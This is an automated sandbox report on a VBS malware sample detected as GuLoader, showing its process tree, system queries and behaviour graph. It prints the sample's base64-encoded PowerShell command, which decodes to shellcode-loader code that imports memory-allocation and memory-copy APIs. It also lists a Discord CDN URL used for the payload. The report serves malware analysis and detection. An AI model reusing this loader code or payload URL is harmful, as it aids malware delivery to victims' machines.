Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowspowerShell\v1.0\powershell.exe" -EncodedCommand "IwBiAHIAZABmAGQAdAB0AG8AbgAgAFMAdAB2AG4AZQAgAFoAaQBuAGMAZQBkACAASQBOAEQAUwBUAFQAIABNAGUAdAB0AGEAcgB0AGEAbQBnADcAIABTAGEAbABhACAAYwBlAGIAYQBsACAARgBPAFIAUwBUACAATwBzAHQAZQBvAGwAaQB0ADEAIABVAG4AZABpAHMAYwBvAHUANgAgAEEAZAByAGUAcwBzAGEAIABDAGEAbgBhAGQAaQA5ACAATwBWAEUAUgBUAEEATABFACAAQgBlAG0AZQAgAGQAZQBzAHQAcgB1AGsAdABpACAATwBTAFQARQBBAE4AUgBFAFQATgAgAEQAcgBpAGYAdABzAHMAdAB5AHIAMQAgAEkATgBEAEwARQBEAEUATgBEAEUAIABCAGEAZwB0ADcAIABCAEEAUgBTAEwARQBEAEUAUwAgAE8ATwBQAEgATwAgAEwAYQBjAGUAZAA5ACAADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYwBsAGEAcwBzACAASABlAHgAYQBzAHQAaQBjAGgAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABSAHQAbABNAG8AdgBlAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIABCAGEAZwBmAHUAbABzADUAMQAsAHIAZQBmACAASQBuAHQAMwAyACAAQgBhAGcAZgB1AGwAcwA1ADIALABpAG4AdAAgAEIAYQBnAGYAdQBsAHMANQAzACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVgBBACgAaQBuAHQAIABIAGUAeABhAHMAdABpAGMAaAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAGUAbQBpAHIAZQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ACwAcgBlAGYAIABJAG4AdAAzADIAIABIAGUAeABhAHMAdABpAGMAaAAsAGkAbgB0ACAAUAByAGkAbgB0ADgALABpAG4AdAAgAEgAZQB4AGEAcwB0AGkAYwBoADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAHUAaQBuAHQAIABCAGEAZwBmAHUAbABzADUANQAsAGkAbgB0ACAAQgBhAGcAZgB1AGwAcwA1ADYAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMARABFAEgAQQBDAEgARQAgAFQAbwBzAHMAZQAzACAAVABlAGEAdABlAHIANgAgAGQAaQBhAGwAZQBjAHQAaQBjACAARQBOAEwASQBTAFQARQBEAFIAIABGAGQAcwBlADcAIABBAHMAdAByAG8AIABTAHcAZQByAHYAZQByADkAIABkAG8AdwBuAGUAeQAgAHIAaQBiAGgAdQBzAHQAIABUAGEAZwByACAAUwBwAHIAZwBlAHMAIABWAGkAbABsAGEANQAgAEgAZQB0AGUAcgBvAGQAeQBuADEAIABFAFUAUABMAE8ASQAgAEIAeQB0AHQAZQAzACAAcwBuAGsAZQByAGYAcgAgAEIAdQBuAGQAZwBhAHIAbgAgAHMAdAByAG0AawByAGUAZABzACAATAB0AG4AaQBuAGcAYgBpADUAIABpAG4AZABzACAAQQBpAHIAbABpAGYAdAA1ACAATwBDAFQAQQBWAEkATgBBAFYASQAgAFMAawBvAGsAbwBtAGkAcwBoAGIAIABVAGQAcgBlAG4AcwBuAGkAbgBnADUAIABUAGgAcgBhAHcAYwB5ACAATQBvAG4AbwBzAG8AZABpADUAIABpAG0AcABhAGwAZQBtAGUAIABJAG4AZABzAGEAdABzAGUAbgB0ADcAIABvAHIAZABlAG4AcwBtACAAIAANAAoAJABIAGUAeABhAHMAdABpAGMAaAAzAD0AMAA7AA0ACgAkAEgAZQB4AGEAcwB0AGkAYwBoADkAPQAxADAANAA4ADUANwA2ADsADQAKACQASABlAHgAYQBzAHQAaQBjAGgAOAA9AFsASABlAHgAYQBzAHQAaQBjAGgAMQBdADoAOgBWAEEAKAAtADEALABbAHIAZQBmAF0AJABIAGUAeABhAHMAdABpAGMAaAAzACwAMAAsAFsAcgBlAGYAXQAkAEgAZQB4AGEAcwB0AGkAYwBoADkALAAxADIAMgA4ADgALA Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qcbqzoit\qcbqzoit.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC09A.tmp" "c:\Users\user\AppData\Local\Temp\qcbqzoit\CSC5984C3E5F49B45B5B1AD6CB2401B5385.TMP" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 624865 Sample: Sursdep.vbs Startdate: 12/05/2022 Architecture: WINDOWS Score: 72 22 Found malware configuration 2->22 24 Yara detected GuLoader 2->24 26 C2 URLs / IPs found in malware configuration 2->26 8 wscript.exe 1 1 2->8         started        process3 signatures4 28 Wscript starts Powershell (via cmd or directly) 8->28 30 Very long command line found 8->30 32 Encrypted powershell cmdline option found 8->32 11 powershell.exe 24 8->11         started        process5 process6 13 csc.exe 3 11->13         started        16 conhost.exe 11->16         started        file7 20 C:\Users\user\AppData\Local\...\qcbqzoit.dll, PE32 13->20 dropped 18 cvtres.exe 1 13->18         started        process8
⊘No contacted IP infos

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://cdn.discordapp.com/attachments/973448911232585778/973449155060047882/Enrico-7173724.jpg2 false
    		high